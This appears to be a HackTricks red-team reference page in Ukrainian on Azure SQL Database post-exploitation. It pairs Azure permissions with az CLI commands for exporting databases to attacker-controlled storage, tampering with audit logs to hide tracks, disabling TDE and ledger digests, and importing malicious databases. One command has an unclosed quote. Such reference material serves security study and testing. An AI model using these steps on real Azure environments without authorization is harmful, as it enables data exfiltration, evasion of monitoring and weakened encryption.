Az - SQL Database Post Exploitation

Reading time: 6 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

SQL Database Post Exploitation

Для отримання додаткової інформації про SQL Database дивіться:

Az - SQL

Microsoft.Sql/servers/databases/read, Microsoft.Sql/servers/read && Microsoft.Sql/servers/databases/write

З цими дозволами зловмисник може створювати та оновлювати бази даних у скомпрометованому середовищі. Ця діяльність після експлуатації може дозволити зловмиснику додавати шкідливі дані, змінювати конфігурації бази даних або вставляти бекдори для подальшої стійкості, що потенційно може порушити операції або дозволити додаткові шкідливі дії.

bash
# Create Database
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>

# Update Database
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>

З цими дозволами (Microsoft.Sql/servers/read && Microsoft.Sql/servers/databases/write) ви можете відновити видалену базу даних:

bash
az sql db restore \
--dest-name <new_database_name> \
--name <original_database_name> \
--resource-group <resource_group> \
--server <server_name> \
--deleted-time "<deleted_time_ISO_format>"

Microsoft.Sql/servers/elasticPools/write && Microsoft.Sql/servers/elasticPools/read

З цими дозволами зловмисник може створювати та оновлювати elasticPools у скомпрометованому середовищі. Ця діяльність після експлуатації може дозволити зловмиснику додавати шкідливі дані, змінювати конфігурації бази даних або вставляти бекдори для подальшої стійкості, що потенційно може порушити операції або дозволити додаткові шкідливі дії.

bash
# Create Elastic Pool
az sql elastic-pool create \
--name <new-elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--edition <edition> \
--dtu <dtu-value>

# Update Elastic Pool
az sql elastic-pool update \
--name <elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--dtu <new-dtu-value> \
--tags <key=value>

Microsoft.Sql/servers/auditingSettings/read && Microsoft.Sql/servers/auditingSettings/write

З цією дозволом ви можете змінювати або активувати налаштування аудиту на Azure SQL Server. Це може дозволити зловмиснику або авторизованому користувачу маніпулювати конфігураціями аудиту, потенційно приховуючи сліди або перенаправляючи журнали аудиту в місце, що знаходиться під їх контролем. Це може ускладнити моніторинг безпеки або дозволити йому відстежувати дії. ЗАУВАЖЕННЯ: Щоб активувати аудит для Azure SQL Server, використовуючи Blob Storage, ви повинні підключити обліковий запис сховища, куди можуть зберігатися журнали аудиту.

bash
az sql server audit-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--state Enabled \
--storage-account <storage_account_name> \
--retention-days 7

Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read, Microsoft.Sql/servers/connectionPolicies/read && Microsoft.Sql/servers/connectionPolicies/write

З цією дозволом ви можете змінювати політики підключення Azure SQL Server. Цю можливість можна використати для активації або зміни налаштувань підключення на рівні сервера.

bash
az sql server connection-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>

Microsoft.Sql/servers/databases/export/action

З цією дозволом ви можете експортувати базу даних з Azure SQL Server до облікового запису зберігання. Зловмисник або авторизований користувач з цим дозволом може ексфільтрувати чутливі дані з бази даних, експортувавши їх до місця, яке вони контролюють, що становить значний ризик витоку даних. Важливо знати ключ зберігання, щоб мати можливість це виконати.

bash
az sql db export \
--server <server_name> \
--resource-group <resource_group_name> \
--name <database_name> \
--storage-uri <storage_blob_uri> \
--storage-key-type SharedAccessKey \
--admin-user <admin_username> \
--admin-password <admin_password>

Microsoft.Sql/servers/databases/import/action

З цією дозволом ви можете імпортувати базу даних у Azure SQL Server. Зловмисник або авторизований користувач з цим дозволом може потенційно завантажити шкідливі або маніпульовані бази даних. Це може призвести до отримання контролю над чутливими даними або шляхом вбудовування шкідливих скриптів або тригерів у імпортовану базу даних. Додатково ви можете імпортувати її на свій власний сервер в Azure. Примітка: Сервер повинен дозволяти доступ Azure-сервісів та ресурсів до сервера.

bash
az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \
--name <target-database-name> \
--server <azure-sql-server-name> \
--resource-group <resource-group-name> \
--storage-key-type SharedAccessKey \
--storage-key <storage-account-key> \
--storage-uri `https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`

Microsoft.Sql/servers/connectionPolicies/write && Microsoft.Sql/servers/connectionPolicies/read

З цими дозволами користувач може змінювати та отримувати політики підключення до сервера Azure SQL. Ці дозволи дозволяють змінювати спосіб підключення клієнтів до сервера — вибираючи між методами, такими як перенаправлення або проксі — що може бути використано для послаблення безпеки, перенаправлення трафіку або перехоплення чутливих даних у разі неправильного налаштування.

bash
az sql server conn-policy update \
--resource-group <resource_group> \
--server <server_name> \
--connection-policy <policy>

Microsoft.Sql/servers/keys/write && Microsoft.Sql/servers/keys/read

З цими дозволами користувач може оновлювати та отримувати ключі шифрування, пов'язані з Azure SQL Server. Ці ключі часто використовуються для захисту чутливих даних через шифрування, тому маніпуляції з ними можуть скомпрометувати безпеку даних, дозволяючи несанкціоноване розшифрування або зміни ротації ключів.

bash
az sql server key create \
--resource-group MyResourceGroup \
--server MyServer \
--kid "https://mykeyvault.vault.azure.net/keys/mykey/1234567890abcdef

Microsoft.Sql/servers/databases/ledgerDigestUploads/disable/action, Microsoft.Sql/locations/ledgerDigestUploadsAzureAsyncOperation/read, Microsoft.Sql/locations/ledgerDigestUploadsOperationResults/read

Ця дозволена дія дозволяє вимкнути Ledger Digest для Azure SQL Database, що зупиняє періодичне завантаження криптографічних записів дайджесту в Azure Blob Storage, які перевіряють цілісність даних.

bash
az sql db ledger-digest-uploads disable \
--name ledgerDB \
--resource-group myResourceGroup \
--server my-sql-server

Microsoft.Sql/servers/databases/transparentDataEncryption/write, Microsoft.Sql/locations/transparentDataEncryptionAzureAsyncOperation/read, Microsoft.Sql/servers/databases/transparentDataEncryption/read

Ця дозволяє авторизованому користувачу або зловмиснику увімкнути, вимкнути або змінити налаштування Transparent Data Encryption (TDE) на базі даних Azure SQL, що може вплинути на безпеку даних шляхом зміни конфігурацій шифрування.

bash
az sql db tde set \
--database <database-name> \
--resource-group <resource-group-name> \
--server <server-name> \
--status <Enabled|Disabled>

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks